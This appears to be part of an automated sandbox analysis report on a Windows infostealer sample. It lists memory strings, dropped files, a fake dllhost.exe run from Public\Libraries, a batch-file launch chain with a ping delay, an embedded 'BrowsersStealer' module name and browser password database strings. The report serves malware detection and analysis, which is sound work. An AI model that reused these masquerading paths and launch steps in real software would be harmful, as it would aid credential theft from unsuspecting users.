                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://support.mozilla.org
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000014695000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137A9000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001394E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139DA000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137EF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001387C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013A20000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014839000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001457D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013994000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001450A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001464F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147F3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138C2000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001447E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000144C4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145C3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013836000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014609000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014721000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
                              Source: dllhost.exe, 00000005.00000002.4116814667.00000000144E5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014744000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001396F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001449F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138E3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139B5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013785000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014789000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001389D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014815000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147CF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139FB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001462A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146FC000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013811000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013929000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001459E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000014695000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137A9000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001394E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139DA000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137EF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001387C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013A20000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014839000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001457D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013994000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001450A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001464F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147F3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138C2000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001447E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000144C4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145C3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013836000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014609000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014721000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
                              Source: dllhost.exe, 00000005.00000002.4116814667.00000000144E5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014744000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001396F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001449F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000138E3000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139B5000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013785000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014789000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001389D000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014815000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000147CF000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000139FB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001462A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000146FC000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013811000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013929000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001459E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000145E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://www.ecosia.org/newtab/
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000013097000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000134B6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001427F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012E58000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000140F4000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001314C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001443A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013F85000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F0C000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001403F000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013182000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001413E000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.000000001356A000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000141CB000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.00000000142F6000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013ED1000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000012F62000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000013C08000.00000004.00000800.00020000.00000000.sdmp, 7xw9K0Vs4e.5.dr, XJq0wWYSge.5.dr, FZwLUNHu3n.5.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://www.mozilla.org
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000014878000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014D78000.00000004.00000800.00020000.00000000.sdmp, RrmUliPBZH.5.dr, RyroOfX8Xr.5.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
                              Source: RyroOfX8Xr.5.drString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
                              Source: dllhost.exe, 00000005.00000002.4116814667.0000000014878000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 00000005.00000002.4116814667.0000000014D78000.00000004.00000800.00020000.00000000.sdmp, RrmUliPBZH.5.dr, RyroOfX8Xr.5.drString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
                              Source: C:\Users\Public\Libraries\dllhost.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeProcess Stats: CPU usage > 49%
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exeJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exe\:Zone.Identifier:$DATAJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Windows\Logs\WindowsUpdate\74cb7468389f91Jump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B780D680_2_00007FFD9B780D68
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B78F8E00_2_00007FFD9B78F8E0
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9333BF0_2_00007FFD9B9333BF
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B934A800_2_00007FFD9B934A80
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B932A700_2_00007FFD9B932A70
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B933A300_2_00007FFD9B933A30
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9351500_2_00007FFD9B935150
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9340C00_2_00007FFD9B9340C0
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9260A50_2_00007FFD9B9260A5
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B92000A0_2_00007FFD9B92000A
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B934FF40_2_00007FFD9B934FF4
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9357F20_2_00007FFD9B9357F2
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B932FD30_2_00007FFD9B932FD3
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B932F0F0_2_00007FFD9B932F0F
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B9356800_2_00007FFD9B935680
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B933E8D0_2_00007FFD9B933E8D
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B935DFA0_2_00007FFD9B935DFA
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B933D200_2_00007FFD9B933D20
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeCode function: 0_2_00007FFD9B932CD30_2_00007FFD9B932CD3
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9B980D685_2_00007FFD9B980D68
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB32A705_2_00007FFD9BB32A70
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB34A805_2_00007FFD9BB34A80
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB260A55_2_00007FFD9BB260A5
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB2000A5_2_00007FFD9BB2000A
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB33E8D5_2_00007FFD9BB33E8D
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9BB32CD35_2_00007FFD9BB32CD3
                              Source: C:\Users\Public\Libraries\dllhost.exeCode function: 5_2_00007FFD9C0718B85_2_00007FFD9C0718B8
                              Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\AHMSLlxy.log F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1710277485.000000001B4E0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1711981527.000000001B918000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exe.MUIj% vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1711981527.000000001B918000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCmd.Exej% vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1689492935.00000000140B6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exe, 00000000.00000000.1642967864.0000000000866000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exe, 00000000.00000002.1689492935.00000000140E2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exeBinary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs eu6OEBpBCI.exe
                              Source: eu6OEBpBCI.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                              Source: eu6OEBpBCI.exe, QXAkCaYGvsDfCLsBuBN.csCryptographic APIs: 'CreateDecryptor'
                              Source: eu6OEBpBCI.exe, QXAkCaYGvsDfCLsBuBN.csCryptographic APIs: 'CreateDecryptor'
                              Source: eu6OEBpBCI.exe, QXAkCaYGvsDfCLsBuBN.csCryptographic APIs: 'CreateDecryptor'
                              Source: eu6OEBpBCI.exe, QXAkCaYGvsDfCLsBuBN.csCryptographic APIs: 'CreateDecryptor'
                              Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@10/346@0/1
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Program Files (x86)\msecache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\QALqtMNE.logJump to behavior
                              Source: C:\Users\Public\Libraries\dllhost.exeMutant created: NULL
                              Source: C:\Users\Public\Libraries\dllhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\e4de66e27ca81756709ec1109acd82c9f3475524ced77826337bc0426a57a8cc
                              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5324:120:WilError_03
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\AppData\Local\Temp\eyuu29tYGQJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat"
                              Source: eu6OEBpBCI.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                              Source: eu6OEBpBCI.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                              Source: C:\Users\Public\Libraries\dllhost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile read: C:\Users\desktop.iniJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                              Source: nUcOaDfVbT.5.dr, F67JjsYrq4.5.dr, xMl98cajDF.5.dr, 513HBVoPoN.5.dr, ZqAJ7KX2Ct.5.dr, Cbb7flGfSW.5.dr, eLhydcm2Op.5.dr, brEgAMsJt5.5.dr, nH6MOAduO3.5.dr, 8Bal7CcLLu.5.dr, X0E18zdVeb.5.dr, IAhaVPFFhh.5.dr, IGjeadakyJ.5.dr, e9yGUCfdYV.5.dr, G20l7B3AlQ.5.dr, a1EhoZIF6l.5.dr, exH5yjB6og.5.dr, eLDUeouJUe.5.dr, sQYBLZibRA.5.dr, QXlbnV9op0.5.dr, B4fFJnGqzn.5.dr, aNihLscoy4.5.dr, B4BLAnyJWo.5.dr, q5n1RB3OCR.5.dr, SfOvcqQwIT.5.dr, bmgXVaAISp.5.dr, 5vViwP0bKV.5.dr, tjgJIgiJfC.5.dr, EUCTYmGrE8.5.dr, 7Ru6QKnIyh.5.dr, vNYwIYgNuf.5.dr, 5FAzb3Seq2.5.dr, BwG4NJ1BCN.5.dr, hGDtLRxmfp.5.dr, PmaExlBgA6.5.dr, UB7rCxxeuj.5.dr, XQyLm64vpY.5.dr, r5FgsOnqpS.5.dr, 7OJ5QGdjYT.5.dr, 8QYwr1NcoC.5.dr, V2BVGwm9G7.5.dr, GOSumlJPJb.5.dr, p2cbRAuKhI.5.dr, tGh00Xz7E8.5.dr, gB8ujBkOs6.5.dr, wIGn397jZF.5.drBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                              Source: eu6OEBpBCI.exeReversingLabs: Detection: 73%
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile read: C:\Users\user\Desktop\eu6OEBpBCI.exeJump to behavior
                              Source: unknownProcess created: C:\Users\user\Desktop\eu6OEBpBCI.exe "C:\Users\user\Desktop\eu6OEBpBCI.exe"
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat"
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\dllhost.exe "C:\Users\Public\Libraries\dllhost.exe"
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\VE9VyBa20L.bat" Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
